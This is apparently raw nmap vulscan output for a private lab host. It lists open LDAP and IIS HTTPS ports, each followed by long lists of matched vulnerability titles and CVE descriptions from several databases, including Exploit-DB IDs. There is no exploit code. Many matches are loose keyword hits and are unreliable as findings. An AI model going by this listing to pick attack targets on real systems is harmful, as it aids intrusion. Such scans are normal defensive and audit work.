[157952] Microsoft Windows up to Server 2019 USO Core Worker privilege escalation
[157951] Microsoft Windows up to Server 2019 Storage Services privilege escalation
[157950] Microsoft Windows up to Server 2019 UPnP Device Host privilege escalation
[157949] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157948] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157946] Microsoft Windows up to Server 2019 lnk File privilege escalation
[157945] Microsoft Windows up to Server 2019 Error Reporting information disclosure
[157944] Microsoft Windows iSCSI Target Service privilege escalation
[157943] Microsoft Windows up to Server 2019 Mobile Device Management privilege escalation
[157942] Microsoft Windows up to Server 2019 Event Logging privilege escalation
[157941] Microsoft Windows up to Server 2019 Remote Desktop Client memory corruption
[157939] Microsoft Windows up to Server 2019 Picker Platform privilege escalation
[157938] Microsoft Windows up to Server 2019 CNG Key Isolation Service privilege escalation
[157937] Microsoft Windows up to Server 2019 Windows Print Workflow Service privilege escalation
[157936] Microsoft Windows up to Server 2019 Event Logging privilege escalation
[157935] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157934] Microsoft Windows up to Server 2019 Local Security Authority Subsystem Service privilege escalation
[157933] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157930] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157925] Microsoft Windows up to Server 2019 Error Reporting Manager privilege escalation
[157924] Microsoft Windows up to Server 2019 UPnP Device Host privilege escalation
[157923] Microsoft Windows up to Server 2019 Network Connections Service privilege escalation
[157922] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157921] Microsoft Windows up to Server 2019 Mobile Device Management privilege escalation
[157920] Microsoft Windows up to Server 2019 AppX Deployment Extension privilege escalation
[157919] Microsoft Windows up to Server 2019 Mobile Device Management information disclosure
[157918] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[157916] Microsoft Windows up to Server 2019 Windows Address Book privilege escalation
[157913] Microsoft OneDrive on Windows privilege escalation
[157895] Microsoft Windows Defender MpSigStub.exe privilege escalation
[157894] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[157893] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[157892] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[157889] Microsoft Windows up to Server 2019 Imaging information disclosure
[157888] Microsoft Windows up to Server 2019 Graphics Origin Validation Error
[157887] Microsoft Windows up to Server 2019 DirectWrite memory corruption
[157886] Microsoft Windows up to Server 2019 Graphics Component memory corruption
[157885] Microsoft Windows up to Server 2019 GDI+ memory corruption
[157884] Microsoft Windows up to Server 2019 Font Library privilege escalation
[157883] Microsoft Windows up to Server 2019 Graphics Component information disclosure
[157882] Microsoft Windows up to Server 2019 GDI information disclosure
[157881] Microsoft Windows up to Server 2004 Font Driver Host memory corruption
[157509] Microsoft Windows up to Server 2019 Codecs Library memory corruption
[157508] Microsoft Windows up to Server 2019 Codecs Library memory corruption
[156422] Microsoft Windows 10 2004/Server 2004 SMBv3 denial of service
[156421] Microsoft Windows up to Server 2004 SMBv3 information disclosure
[156420] Microsoft Windows up to Server 2019 Windows Shell privilege escalation
[156419] Microsoft Windows up to Server 2019 LNK privilege escalation
[156418] Microsoft Windows up to Server 2019 CAB File privilege escalation
[156417] Microsoft Windows up to Server 2019 OLE Automation privilege escalation
[156415] Microsoft Windows up to Server 2019 Media Foundation information disclosure
[156414] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[156413] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[156412] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[156410] Microsoft Windows up to Server 2004 Windows Runtime privilege escalation
[156409] Microsoft Windows up to Server 2019 Kernel privilege escalation
[156408] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[156407] Microsoft Windows up to Server 2019 Kernel privilege escalation
[156406] Microsoft Windows up to Server 2019 Kernel privilege escalation
[156404] Microsoft Windows up to Server 2019 Kernel privilege escalation
[156403] Microsoft Windows up to Server 2019 Kernel privilege escalation
[156402] Microsoft Windows up to Server 2019 Win32k privilege escalation
[156401] Microsoft Windows up to Server 2004 Kernel privilege escalati		N/A
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				192.168.186.128		389		tcp		open		ldap				script		vulscan		100%		syn-ack		Microsoft Windows Active Directory LDAP				VulDB - https://vuldb.com:
[160873] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[160870] Microsoft Windows up to Server 2019 Active Directory Federation Service 2FA weak authentication
[160864] Microsoft Windows up to Server 2019 Active Directory integrated DNS privilege escalation
[160863] Microsoft Windows up to Server 2019 Active Directory integrated DNS memory corruption
[160862] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[155092] Microsoft Windows up to Server 2019 Active Directory Federation Services cross site scripting
[149893] Microsoft Windows up to Server 2019 Active Directory privilege escalation
[141620] Microsoft Windows up to Server 2019 Active Directory Federation Services cross site scripting
[139937] Microsoft Windows up to Server 2019 Azure Active Directory information disclosure
[131642] Microsoft Windows 7 SP1/Server 2008 R2 SP1/Server 2008 SP2 Active Directory privilege escalation
[126730] Microsoft Windows up to Server 2019 Active Directory Federation Services cross site scripting
[124217] Microsoft Windows Server 2012/Server 2016 Active Directory Federation Services /adfs/ls privilege escalation
[116020] Microsoft Windows 10 1607/10 1703/10 1709/Server 1709/Server 2016 Active Directory 7PK Security Features
[99683] Microsoft Windows 10 1607/10 1703/Server 2012 R2/Server 2016 Active Directory 7PK Security Features
[99667] Microsoft Windows 10/Server 2016 Active Directory Service Unresponsive privilege escalation
[98110] Microsoft Windows Active Directory Federation Services information disclosure
[88781] Microsoft Windows 2000 Active Directory Schema privilege escalation
[88644] Microsoft Windows 2000 Active Directory Kerberos Ticket Logging privilege escalation
[87960] Microsoft Windows Server 2008 R2/Server 2012/Server 2012 R2 Active Directory privilege escalation
[80878] Microsoft Windows Server 2012 R2 Active Directory Federation Service privilege escalation
[77640] Microsoft Windows Active Directory Code
[75783] Microsoft Windows Server 2008/Server 2012 Active Directory Federation Services cross site scripting
[74834] Microsoft Windows Server 2012 R2 Active Directory Federation Services 3.0 privilege escalation
[45063] Microsoft Windows Server 2003 Active Directory information disclosure
[26516] Microsoft Windows 95/98/ME/NT 4.0 Active Directory unknown vulnerability
[19970] Microsoft Windows 2000 Active Directory privilege escalation
[10190] Microsoft Windows 7/8/Server 2008/Vista Active Directory privilege escalation
[9929] Microsoft Windows Server 2008/Server 2012 Active Directory Federation Services information disclosure
[4474] Microsoft Windows 7/Server 2003/Server 2008/Vista/XP Active Directory Query memory corruption
[4440] Microsoft Windows Active Directory weak authentication
[4364] Microsoft Windows Active Directory cross site scripting
[4067] Microsoft Windows Active Directory Federation Service privilege escalation
[4058] Microsoft Windows Active Directory denial of service
[3845] Microsoft Windows 2000 SP4 Active Directory denial of service
[3733] Microsoft Windows Active Directory privilege escalation
[3179] Microsoft Windows Active Directory denial of service
[3178] Microsoft Windows Active Directory memory corruption
[2689] Microsoft Windows up to 2000 SP4 Active Directory denial of service
[145] Microsoft Windows 2000 Active Directory weak authentication
[134] Microsoft Windows up to 2000 SP3 Active Directory memory corruption
[157918] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[151146] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[151100] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[151097] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[146442] F5 BIG-IP Active Directory/LDAP/Client Certificate weak authentication
[145356] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[140066] Microsoft NuGet/ADAL.NET Azure Active Directory privilege escalation
[136274] Microsoft Windows up to Server 2019 ActiveX memory corruption
[134752] Microsoft Azure Active Directory Connect 1.3.20.0 PowerShell privilege escalation
[131628] Microsoft Windows up to Server 2019 ActiveX memory corruption
[123141] Samba up to 4.6.15/4.7.8/4.8.3 Active Directory LDAP Server information disclosure
[121120] Microsoft Active Directory Federation Services Web Customizations cross site scripting
[101011] Microsoft Windows 7 SP1/Server 2008 R2 SP1/Server 2008 SP2 ActiveX Object Memory information disclosure
[99685] Microsoft Windows up to Vista SP2 LDAP privilege escalation
[92249] Microsoft Azure Active Directory Passport up to 1.4.5/2.0.0 weak authentication
[79863] Samba up to 4.3.2 Windows Active Directory Server privilege escalation
[77331] Apache ActiveMQ up to 5.11.1 on Windows Fileserver Upload/Download directory traversal
[68590] Microsoft Windows up to Vista TS WebProxy directory traversal
[66445] Microsoft Windows 8.0/8.1 XMLDOM ActiveX Control privilege escalation
[51811] Microsoft Windows max3activex.dll privilege escalation
[51497] Microsoft Windows Live Messenger 2009 ActiveX Control msnmsgr.exe denial of service
[48518] Microsoft ADAM XP Active Directory denial of service
[46007] Microsoft Windows Mobile 6.0 FTP Service directory traversal
[43982] Microsoft Windows Image Acquisition Logger ActiveX Control privilege escalation
[43953] Microsoft Windows ActiveX Control wmex.dll memory corruption
[43659] Microsoft Windows Messenger 5.1 ActiveX Control information disclosure
[42638] Microsoft Windows Installer 3.1.4000.1823 ActiveX Control msiexec.exe memory corruption
[20978] Microsoft Windows Server 2003 Shell Link directory traversal
[20961] Microsoft Windows up to 2000 SP4 Troubleshooter ActiveX Control Tshoot.ocx RunQuery2 memory corruption
[19042] Microsoft Windows NT 4.0/2000/XP HTML Help ActiveX Control hhctrl.ocx alink memory corruption
[18810] Microsoft Windows up to XP Certificate Enrollment ActiveX Control unknown vulnerability
[18709] Microsoft Windows HTML Help ActiveX Control Winhlp32.exe memory corruption
[16706] Microsoft Windows Media Player 7 WMP ActiveX Control privilege escalation
[16098] Microsoft Windows NT 4.0 Cenroll ActiveX Control xenroll.dll denial of service
[16055] Microsoft Windows 2000 System Monitor ActiveX Control memory corruption
[14976] Microsoft Windows Media Player ActiveX Control File information disclosure
[14348] Microsoft Windows NT Directory privilege escalation
[8203] Microsoft Windows up to 2012 AD LDAP Query privilege escalation
[4452] Microsoft Windows Adctive Directory Query memory corruption
[4447] Microsoft Windows Time ActiveX Control privilege escalation
[4050] Microsoft Windows ActiveX Control memory corruption
[4049] Microsoft Windows ActiveX Controls ATL OleLoadFromStream privilege escalation
[4026] Microsoft Windows DHTML Editing ActiveX Control privilege escalation
[3674] Microsoft Windows ActiveX Control hxvz.dll privilege escalation
[3309] Microsoft Visual Studio 6 ActiveX Control VBTOVSI.dll directory traversal
[3308] Microsoft Visual Studio 6 ActiveX Control PDWizard.ocx directory traversal
[2925] Microsoft Windows HTML Help ActiveX Control memory corruption
[2687] Microsoft Windows 2000/Server 2003/XP Agent ActiveX Numeric Error
[908] Microsoft Windows XP JPEG ActiveX Image Control asycpict.dll denial of service
[155] Microsoft Windows up to 2000 SP3 LDAP Cryptnet.DLL denial of service

MITRE CVE - https://cve.mitre.org:
[CVE-2011-2014] The LDAP over SSL (aka LDAPS) implementation in Active Directory, Active Directory Application Mode (ADAM), and Active Directory Lightweight Directory Service (AD LDS) in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 does not examine Certificate Revocation Lists (CRLs), which allows remote authenticated users to bypass intended certificate restrictions and access Active Directory resources by leveraging a revoked X.509 certificate for a domain account, aka "LDAPS Authentication Bypass Vulnerability."
[CVE-2009-1928] Stack consumption vulnerability in the LDAP service in Active Directory on Microsoft Windows 2000 SP4, Server 2003 SP2, and Server 2008 Gold and SP2
[CVE-2009-1139] Memory leak in the LDAP service in Active Directory on Microsoft Windows 2000 SP4 and Server 2003 SP2, and Active Directory Application Mode (ADAM) on Windows XP SP2 and SP3 and Server 2003 SP2, allows remote attackers to cause a denial of service (memory consumption and service outage) via (1) LDAP or (2) LDAPS requests with unspecified OID filters, aka "Active Directory Memory Leak Vulnerability."
[CVE-2009-1138] The LDAP service in Active Directory on Microsoft Windows 2000 SP4 does not properly free memory for LDAP and LDAPS requests, which allows remote attackers to execute arbitrary code via a request that uses hexadecimal encoding, whose associated memory is not released, related to a "DN AttributeValue," aka "Active Directory Invalid Free Vulnerability."  NOTE: this issue is probably a memory leak.
[CVE-2008-5112] The LDAP server in Active Directory in Microsoft Windows 2000 SP4 and Server 2003 SP1 and SP2 responds differently to a failed bind attempt depending on whether the user account exists and is permitted to login, which allows remote attackers to enumerate valid usernames via a series of LDAP bind requests, as demonstrated by ldapuserenum.
[CVE-2008-4023] Active Directory in Microsoft Windows 2000 SP4 does not properly allocate memory for (1) LDAP and (2) LDAPS requests, which allows remote attackers to execute arbitrary code via a crafted request, aka "Active Directory Overflow Vulnerability."
[CVE-2008-1445] Active Directory on Microsoft Windows 2000 Server SP4, XP Professional SP2 and SP3, Server 2003 SP1 and SP2, and Server 2008 allows remote authenticated users to cause a denial of service (system hang or reboot) via a crafted LDAP request.
[CVE-2008-0088] Unspecified vulnerability in Active Directory on Microsoft Windows 2000 and Windows Server 2003, and Active Directory Application Mode (ADAM) on XP and Server 2003, allows remote attackers to cause a denial of service (hang and restart) via a crafted LDAP request.
[CVE-2007-3028] The LDAP service in Windows Active Directory in Microsoft Windows 2000 Server SP4 does not properly check "the number of convertible attributes", which allows remote attackers to cause a denial of service (service unavailability) via a crafted LDAP request, related to "client sent LDAP request logic," aka "Windows Active Directory Denial of Service Vulnerability".  NOTE: this is probably a different issue than CVE-2007-0040.
[CVE-2007-0040] The LDAP service in Windows Active Directory in Microsoft Windows 2000 Server SP4, Server 2003 SP1 and SP2, Server 2003 x64 Edition and SP2, and Server 2003 for Itanium-based Systems SP1 and SP2 allows remote attackers to execute arbitrary code via a crafted LDAP request with an unspecified number of "convertible attributes."
[CVE-2013-1282] The LDAP service in Microsoft Active Directory, Active Directory Application Mode (ADAM), Active Directory Lightweight Directory Service (AD LDS), and Active Directory Services allows remote attackers to cause a denial of service (memory consumption and service outage) via a crafted query, aka "Memory Consumption Vulnerability."
[CVE-2011-3406] Buffer overflow in Active Directory, Active Directory Application Mode (ADAM), and Active Directory Lightweight Directory Service (AD LDS) in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows remote authenticated users to execute arbitrary code via a crafted query that leverages incorrect memory initialization, aka "Active Directory Buffer Overflow Vulnerability."
[CVE-2011-1264] Cross-site scripting (XSS) vulnerability in Active Directory Certificate Services Web Enrollment in Microsoft Windows Server 2003 SP2 and Server 2008 Gold, SP2, R2, and R2 SP1 allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka "Active Directory Certificate Services Vulnerability."
[CVE-2011-1247] Untrusted search path vulnerability in the Microsoft Active Accessibility component in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows local users to gain privileges via a Trojan horse DLL in the current working directory, aka "Active Accessibility Insecure Library Loading Vulnerability."
[CVE-2011-0654] Integer underflow in the BowserWriteErrorLogEntry function in the Common Internet File System (CIFS) browser service in Mrxsmb.sys or bowser.sys in Active Directory in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows remote attackers to execute arbitrary code or cause a denial of service (system crash) via a malformed BROWSER ELECTION message, leading to a heap-based buffer overflow, aka "Browser Pool Corruption Vulnerability." NOTE: some of these details are obtained from third party information.
[CVE-2011-0040] The server in Microsoft Active Directory on Windows Server 2003 SP2 does not properly handle an update request for a service principal name (SPN), which allows remote attackers to cause a denial of service (authentication downgrade or outage) via a crafted request that triggers name collisions, aka "Active Directory SPN Validation Vulnerability."
[CVE-2010-0820] Heap-based buffer overflow in the Local Security Authority Subsystem Service (LSASS), as used in Active Directory in Microsoft Windows Server 2003 SP2 and Windows Server 2008 Gold, SP2, and R2
[CVE-2009-2509] Active Directory Federation Services (ADFS) in Microsoft Windows Server 2003 SP2 and Server 2008 Gold and SP2 does not properly validate headers in HTTP requests, which allows remote authenticated users to execute arbitrary code via a crafted request to an IIS web server, aka "Remote Code Execution in ADFS Vulnerability."
[CVE-2009-2508] The single sign-on implementation in Active Directory Federation Services (ADFS) in Microsoft Windows Server 2003 SP2 and Server 2008 Gold and SP2 does not properly remove credentials at the end of a network session, which allows physically proximate attackers to obtain the credentials of a previous user of the same web browser by using data from the browser's cache, aka "Single Sign On Spoofing in ADFS Vulnerability."
[CVE-2008-3539] Unspecified vulnerability in HP OpenView Select Identity (HPSI) Connectors on Windows, as used in HPSI Active Directory Connector 2.30 and earlier, HPSI SunOne Connector 1.14 and earlier, HPSI eDirectory Connector 1.12 and earlier, HPSI eTrust Connector 1.02 and earlier, HPSI OID Connector 1.02 and earlier, HPSI IBM Tivoli Dir Connector 1.02 and earlier, HPSI TOPSecret Connector 2.22.001 and earlier, HPSI RACF Connector 1.12.001 and earlier, HPSI ACF2 Connector 1.02 and earlier, HPSI OpenLDAP Connector 1.02 and earlier, and HPSI BiDir DirX Connector 1.00.003 and earlier, allows local users to obtain sensitive information via unknown vectors.
[CVE-2007-2999] Microsoft Windows Server 2003, when time restrictions are in effect for user accounts, generates different error messages for failed login attempts with a valid user name than for those with an invalid user name, which allows context-dependent attackers to determine valid Active Directory account names.
[CVE-2005-3169] Microsoft Windows 2000 before Update Rollup 1 for SP4, when the "audit directory service access" policy is enabled, does not record a 565 event message for File Delete Child operations on an Active Directory object in the security event log, which could allow attackers to conduct unauthorized activities without detection.
[CVE-2005-0545] Microsoft Windows XP Pro SP2 and Windows 2000 Server SP4 running Active Directory allow local users to bypass group policies that restrict access to hidden drives by using the browse feature in Office 10 applications such as Word or Excel, or using a flash drive.  NOTE: this issue has been disputed in a followup post.
[CVE-2003-0533] Stack-based buffer overflow in certain Active Directory service functions in LSASRV.DLL of the Local Security Authority Subsystem Service (LSASS) in Microsoft Windows NT 4.0 SP6a, 2000 SP2 through SP4, XP SP1, Server 2003, NetMeeting, Windows 98, and Windows ME, allows remote attackers to execute arbitrary code via a packet that causes the DsRolerUpgradeDownlevelServer function to create long debug entries for the DCPROMO.LOG log file, as exploited by the Sasser worm.
[CVE-2003-0507] Stack-based buffer overflow in Active Directory in Windows 2000 before SP4 allows remote attackers to cause a denial of service (reboot) and possibly execute arbitrary code via an LDAP version 3 search request with a large number of (1) "AND," (2) "OR," and possibly other statements, which causes LSASS.EXE to crash.
[CVE-2002-2328] Active Directory in Windows 2000, when supporting Kerberos V authentication and GSSAPI, allows remote attackers to cause a denial of service (hang) via an LDAP client that sets the page length to zero during a large request.

SecurityFocus - https://www.securityfocus.com/bid/:
[31609] Microsoft Windows Active Directory LDAP Request Handling Remote Code Execution Vulnerability
[29584] Microsoft Windows Active Directory LDAP Request Validation Remote Denial Of Service Vulnerability
[27638] Microsoft Windows Active Directory LDAP Request Validation Remote Denial Of Service Vulnerability
[24800] Microsoft Windows Active Directory LDAP Request Validation Remote Code Execution Vulnerability
[24796] Microsoft Windows Active Directory LDAP Request Validation Remote Denial Of Service Vulnerability
[97448] Microsoft Windows Active Directory CVE-2017-0164 Denial of Service Vulnerability
[91118] Microsoft Windows Active Directory CVE-2016-3226 Denial of Service Vulnerability
[90065] Microsoft Windows Kernel 'Win32k.sys' CVE-2016-0174 Local Privilege Escalation Vulnerability
[62184] Microsoft Windows Active Directory CVE-2013-3868 Denial of Service Vulnerability
[58848] Microsoft Windows Active Directory CVE-2013-1282 Denial of Service Vulnerability
[50570] Microsoft Active Directory LDAPS Authentication Bypass Vulnerability
[37215] Microsoft Windows Active Directory Single Sign On Authentication Spoofing Vulnerability
[36918] Microsoft Active Directory LDAP Request Stack Exhaustion Denial Of Service Vulnerability
[35226] Microsoft Active Directory Encoded LDAP String Memory Corruption Remote Code Execution Vulnerability
[32305] Microsoft Active Directory LDAP Server Username Enumeration Weakness
[8093] Microsoft Windows 2000 Active Directory Forest Origin Validation Vulnerability
[7930] Microsoft Windows 2000 Active Directory Remote Stack Overflow Vulnerability
[7330] Microsoft Windows Active Directory Policy Bypass Vulnerability

IBM X-Force - https://exchange.xforce.ibmcloud.com:
[50761] Microsoft Windows Active Directory LDAP denial of service
[50759] Microsoft Windows 2000 Active Directory LDAP code execution
[45585] Microsoft Windows Active Directory LDAP search buffer overflow
[42668] Microsoft Windows Active Directory LDAP request denial of service
[40102] Microsoft Windows Active Directory LDAP request denial of service
[35180] Microsoft Windows Active Directory LDAP denial of service
[35179] Microsoft Windows Active Directory LDAP attribute buffer overflow
[86072] Microsoft Windows Active Directory Federation Services information disclosure
[71559] Microsoft Windows Active Directory buffer overflow
[70950] Microsoft Windows Active Directory privilege escalation
[67750] Microsoft Windows Active Directory Certificate Services Web Enrollment cross-site scripting
[64915] Microsoft Windows Active Directory denial of service
[54426] Microsoft Windows Active Directory Federation Services (ADFS) code execution
[54425] Microsoft Windows Active Directory Federation Services (ADFS) spoofing
[34634] Microsoft Windows Server 2003 Active Directory information disclosure
[29737] Microsoft Active Directory maximum LDAP connections reached
[12489] Microsoft Windows 2000 Server Active Directory buffer overflow

Exploit-DB - https://www.exploit-db.com:
[22782] Microsoft Windows 2000 Active Directory Remote Stack Overflow Vulnerability
[30825] Microsoft Windows Media Digital Rights Management ActiveX Control Buffer Overflow Vulnerability
[29630] Microsoft Windows 2003/XP ReadDirectoryChangesW Information Disclosure Vulnerability
[20371] Microsoft Windows 95/WfW smbclient Directory Traversal Vulnerability
[19731] microsoft index server 2.0/indexing services for windows 2000 - Directory Traversal
[11195] Microsoft Windows Defender ActiveX Heap Overflow PoC

OpenVAS (Nessus) - http://www.openvas.org:
[902487] Microsoft Windows Active Directory LDAPS Authentication Bypass Vulnerability (2630837)
[902290] Microsoft Windows Active Directory SPN Denial of Service (2478953)
[901048] Microsoft Windows Active Directory Denial of Service Vulnerability (973309)
[900566] Microsoft Active Directory LDAP Remote Code Execution Vulnerability (969805)
[801598] Microsoft Windows2k3 Active Directory 'BROWSER ELECTION' Buffer Overflow Vulnerability

SecurityTracker - https://www.securitytracker.com:
[1028405] Microsoft Active Directory LDAP Processing Flaw Lets Remote Users Deny Service
[1021042] Microsoft Active Directory LDAP Memory Allocation Error Lets Remote Users Execute Arbitrary Code
[1020229] Microsoft Active Directory LDAP Validation Bug Lets Remote Users Deny Service
[1018355] Windows Active Directory Bug in Processing LDAP Convertible Attributes Lets Remote Users Execute Arbitrary Code
[1007093] Microsoft Active Directory Stack Overflow in 'Lsaas.exe' Lets Remote Users Crash the Windows 2000 Server
[1028908] Microsoft Active Directory Federation Services Discloses Account Information to Remote Users
[1026412] Microsoft Active Directory Memory Access Error Lets Remote Authenticated Users Execute Arbitrary Code
[1026294] Microsoft Active Directory CRL Validation Flaw Lets Remote Users Bypass Authentication
[1025653] Microsoft Active Directory Input Validation Flaw in Certificate Services Web Enrollment Permits Cross-Site Scripting Attacks
[1025330] Microsoft WMITools and Windows Messenger ActiveX Controls Let Remote Users Execute Arbitrary Code
[1025086] Microsoft Active Directory Heap Overflow in Processing BROWSER ELECTION Packets May Let Remote Users Execute Arbitrary Code
[1025042] Microsoft Active Directory SPN Collosions May Let Remote Authenticated Users Deny Service
[1023296] Microsoft Active Directory Federation Services Lets Remote Authenticated Users Execute Arbitrary Code and Spoof Web Sites
[1023156] Microsoft Active Directory Stack Memory Consumption Flaw Lets Remote Users Deny Service
[1022349] Microsoft Active Directory Bugs Let Remote Users Execute Arbitrary Code or Deny Service
[1021369] Microsoft Visual Basic DataGrid/FlexGrid/Heirarchival FlexGrid/Windows Common/Charts ActiveX Controls Let Remote Users Execute Arbitrary Code
[1020512] HP OpenView Select Identity Unspecified Flaw in Active Directory Bidirectional LDAP Connector Lets Remote Users Access the System
[1019382] Active Directory LDAP Processing Bug Lets Remote Users Deny Service
[1011233] WebLogic Active Directory LDAP Error May Fail to Disable User Accounts
[1009767] Microsoft Windows 2000 Domain Controller LDAP Flaw May Let Remote Users Restart the Authentication Service
[1007932] Microsoft Windows Troubleshooter ActiveX Control Buffer Overflow Lets Remote Users Execute Arbitrary Code
[1007905] Microsoft Windows Server 2003 Shell Folders Can Be Referenced Using Directory Traversal Characters
[1005150] Microsoft Windows Operating System Certificate Enrollment ActiveX Control Allows Remote Users to Delete Certificates on a Target User's System
[1004441] Microsoft Windows Help System Buffer Overflows in 'htctrl.ocx' ActiveX Control May Let Remote Users Execute Arbitrary Code on a Target User's Computer By Sending Malicious HTML
[1004369] Microsoft Active Directory May Have Bug That Allows Remote Users to Crash the Directory
[1003420] Microsoft Site Server Commerce Edition Discloses Potentially Sensitive Administration Information and Source Code to Remote Users With Valid Accounts and Discloses User Passwords from the LDAP Directory to Anonymous Remote Users
[1003075] ActivePerl for Windows Discloses Directory Path Location to Remote Users
[1001832] Microsoft Windows 2000 LDAP Server Lets Remote Users Gain Administrator Access to the Domain Controller When Configured to Support LDAP over SSL

OSVDB - http://www.osvdb.org:
[92126] Microsoft Windows Multiple Active Directory Components LDAP Crafted Query Handling Memory Consumption Remote DoS
[76902] Microsoft Windows Active Directory LDAPS CRL Handling Weakness Authentication Bypass
[60210] Microsoft Windows Active Directory Malformed LDAP Client Request Remote DoS
[59856] Microsoft Windows Active Directory Malformed LDAP Request Stack Exhaustion Remote DoS
[54938] Microsoft Windows Active Directory Crafted LDAP(S) Request Handling Remote DoS
[54937] Microsoft Windows Active Directory Crafted LDAP(S) Request Hexdecimal DN AttributeValue Handling Arbitrary Code Execution
[50000] Microsoft Windows Active Directory LDAP Server Bind Request User Account Enumeration
[49058] Microsoft Windows Active Directory LDAP(S) Request Handling Remote Overflow
[46066] Microsoft Windows Active Directory LDAP Request Processing Remote DoS
[35961] Microsoft Windows Active Directory LDAP Service Crafted Request Remote DoS
[35960] Microsoft Windows Active Directory LDAP Service Convertible Attribute Remote Code Execution
[15379] Microsoft Windows ActiveDirectory LDAP Authentication Bypass
[77667] Microsoft Windows Active Directory Query Parsing Remote Overflow
[72937] Microsoft Windows Active Directory Certificate Services Web Enrollment XSS
[72670] Microsoft Windows Server 2003 ActiveDirectory BROWSER ELECTION Remote Overflow
[70825] Microsoft Windows Server Active Directory Server Principal Name (SPN) Handling Remote DoS
[60836] Microsoft Windows Active Directory Federation Services (ADFS) Request Header Handling Remote Code Execution
[60835] Microsoft Windows Active Directory Federation Services (ADFS) Single Sign-on Spoofing
[41461] Microsoft Active Directory / ADAM Malformed LDAP Request Remote DoS
[36138] Microsoft Windows Active Directory Time Restriction User Enumeration
[30405] Microsoft Windows Active Directory Unspecified DoS
[12655] Microsoft Windows Active Directory LSASS.EXE DoS
[2237] Microsoft Windows 2000 Active Directory Lsass.exe Overflow
[1297] Microsoft Windows 2000 Active Directory Object Attribute		N/A

				192.168.186.128		443		tcp		open		http		ssl		scanner		probed		100%		syn-ack		Microsoft IIS httpd		10.0				N/A

				192.168.186.128		443		tcp		open		http		ssl		script		vulscan		100%		syn-ack		Microsoft IIS httpd		10.0		VulDB - https://vuldb.com:
[160857] Microsoft Dynamics 365 for Finance/Operations 10.0.11 privilege escalation
[159979] Microsoft Dynamics 365 for Finance/Operations 10.0.11 privilege escalation
[33889] Microsoft Windows Media Player 10.00.00.4036 denial of service
[176520] Microsoft Windows 10 20H2 up to Server 2004 DWM Core Library unknown vulnerability
[176515] Microsoft Windows 10 up to Server 2019 Hyper-V denial of service
[176507] Microsoft Windows 10 20H2 up to Server 2019 Cloud Files Mini Filter Driver unknown vulnerability
[176499] Microsoft Windows 10 20H2/10 21H1/10 2004/Server 20H2/Server 2004 Bind Filter Driver information disclosure
[176494] Microsoft Windows 10 20H2 up to Server 2004 Kernel information disclosure
[176491] Microsoft Windows 10 20H2 up to Server 2019 Kernel-Mode Driver unknown vulnerability
[176490] Microsoft Windows 10 20H2 up to Server 2019 Kernel unknown vulnerability
[174866] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Container Manager Service unknown vulnerability
[174865] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 HTTP Protocol Stack unknown vulnerability
[174864] Microsoft Windows 10 20H2 up to Server 2019 Container Manager Service unknown vulnerability
[174863] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Container Manager Service unknown vulnerability
[174862] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Container Manager Service unknown vulnerability
[174861] Microsoft Windows 10 20H2 up to Server 2019 Graphics unknown vulnerability
[174847] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Desktop Bridge denial of service
[174845] Microsoft Windows 10 20H2 up to 10 2004 WalletService unknown vulnerability
[174843] Microsoft Windows 10 1809/Server 2019 Container Isolation FS Filter Driver unknown vulnerability
[174842] Microsoft Windows 10 20H2 up to Server 2019 Projected File System FS Filter Driver information disclosure
[174841] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Media Foundation Core unknown vulnerability
[174835] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 SMB Client Security Feature unknown vulnerability
[172949] Microsoft Windows 10 up to Server 2019 Media Photo Codec information disclosure
[172937] Microsoft Windows 10 20H2 up to Server 2019 Hyper-V denial of service
[172933] Microsoft Windows 10 20H2 up to Server 2019 Application Compatibility Cache denial of service
[172925] Microsoft Windows 10 20H2 up to Server 2019 TCP/IP Driver denial of service
[172920] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 SMB information disclosure
[172877] Microsoft Windows 10 20H2 up to Server 2019 TCP/IP information disclosure
[171012] Microsoft Windows 10 20H2 up to Server 2019 NAT denial of service
[171009] Microsoft Windows 10 20H2 up to Server 2004 Hyper-V unknown vulnerability
[170979] Microsoft Windows 10 20H2 up to Server 2019 OpenType Font Parser code injection
[170907] Microsoft Windows 10 20H2 up to Server 2019 Application Virtualization code injection
